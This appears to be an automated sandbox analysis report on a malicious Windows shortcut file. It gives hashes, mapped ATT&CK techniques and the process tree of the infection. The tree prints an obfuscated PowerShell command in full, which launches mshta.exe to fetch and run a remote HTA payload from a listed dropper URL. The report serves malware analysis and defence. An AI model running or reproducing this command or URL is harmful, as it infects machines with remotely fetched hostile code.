672276ff3a86783dcd56a706dd931ebcd0023e63f5cdb8fe0f865335a5b9d74e

Analysis

max time kernel
298s
max time network
205s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/05/2026, 15:08

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General

Target
Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
Size 2KB
Sample260504-sh684aev2y
SHA256 672276ff3a86783dcd56a706dd931ebcd0023e63f5cdb8fe0f865335a5b9d74e
MD5 7718135757d6c1746b45a1779e22f5ff
SHA1 183c32923c9c1faf60fafc3b55d108afb0750c94
SHA512 6a459f67ff293f18e50d860c389a5023ef422c07b5bbf711532cc846e2a290fe29c00b13ff740e3a29251bfdd546f0708c65055a18e9e0ccd8d872581128e7c6
TLSH
T18651AE2467FD0218F2F3EF31ACB673568DB77866F5118F5E004102490861514E995F3F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2940	mshta.exe
9	2940	mshta.exe
12	2940	mshta.exe
17	2940	mshta.exe
19	2940	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5176	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5176	powershell.exe
5176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5176	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5700 wrote to memory of 5176	5700	cmd.exe	87
PID 5176 wrote to memory of 2940	5176	powershell.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5700
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QU51VVlyWE16V2NscXRTVGFLZ1Z8QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGUgImh0dHBzOi8vMjQzLjE4MC42Mi41MC5ob3N0LnNlY3VyZXNlcnZlci5uZXQvOGI4ZWZlNTctNGNhMy00ZmQ5LThiYWEtMTM1MWNkZjZiNDFjLzRkMmMxZjAwLTM2YjMtNDJmOS05Yzk2LWQ1ZTZmZWUyNTdjZiI=')); $a = $b -split '\|',2 | Select-Object -Last 1; $sb = [ScriptBlock]::Create($a); & $sb"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf
    3⤵
    - Badlisted process makes network request
    PID:2940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_mqxosaw4.4ip.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mqxosaw4.4ip.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2940-36-0x0000029A7D4C0000-0x0000029A7D4CC000-memory.dmp

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memory/2940-35-0x0000029A7C740000-0x0000029A7C86A000-memory.dmp

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memory/2940-59-0x0000029A7C740000-0x0000029A7C86A000-memory.dmp

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memory/5176-3-0x000001F53F640000-0x000001F53F650000-memory.dmp

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memory/5176-2-0x000001F53F640000-0x000001F53F650000-memory.dmp

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memory/5176-9-0x000001F5576D0000-0x000001F5576F2000-memory.dmp

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memory/5176-15-0x000001F53E7D0000-0x000001F53E7DC000-memory.dmp

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memory/5176-14-0x000001F53EB50000-0x000001F53F28F000-memory.dmp

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memory/5700-17-0x000001A129900000-0x000001A12990C000-memory.dmp

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memory/5700-16-0x000001A129560000-0x000001A12968A000-memory.dmp

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